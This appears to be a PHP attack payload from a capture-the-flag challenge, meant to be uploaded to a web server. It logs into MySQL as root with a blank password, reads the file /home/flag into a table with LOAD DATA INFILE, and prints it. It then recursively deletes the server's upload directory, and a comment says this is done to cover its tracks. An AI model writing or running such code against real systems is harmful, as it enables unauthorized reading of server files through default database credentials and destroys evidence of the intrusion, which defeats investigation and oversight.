3kMX0Fx2

1<?php
2$user = 'root';
3$pass = '';
4$db   = 'DBClients';
5
6/* login to database using blank root password */
7
8mysql_connect('localhost',$user,$pass);
9mysql_select_db($db) or die( "Unable to select database");
10
11/* create flag table */
12$q = 'create table if not exists flag (flag CHAR(50))';
13mysql_query($q);
14
15/* read flag into table */
16$q = 'load data infile "/home/flag" into table flag';
17mysql_query($q);
18
19/* get the flag */
20$q = 'select * from flag';
21$result = mysql_query($q);
22$info = mysql_fetch_array( $result );
23/* dump the flag */
24echo "The flag is \n";
25print_r($info);
26mysql_close();
27
28/* recursively delete a directory */
29function rrmdir($dir) {
30   if (is_dir($dir)) {
31     $objects = scandir($dir);
32     foreach ($objects as $object) {
33       if ($object != "." && $object != "..") {
34         if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
35       }
36     }
37     reset($objects);
38     rmdir($dir);
39   }
40 }
41/* Delete all uploaded files to cover our tracks */
42$d = '/var/www/html/upload/';
43rrmdir($d);
44?>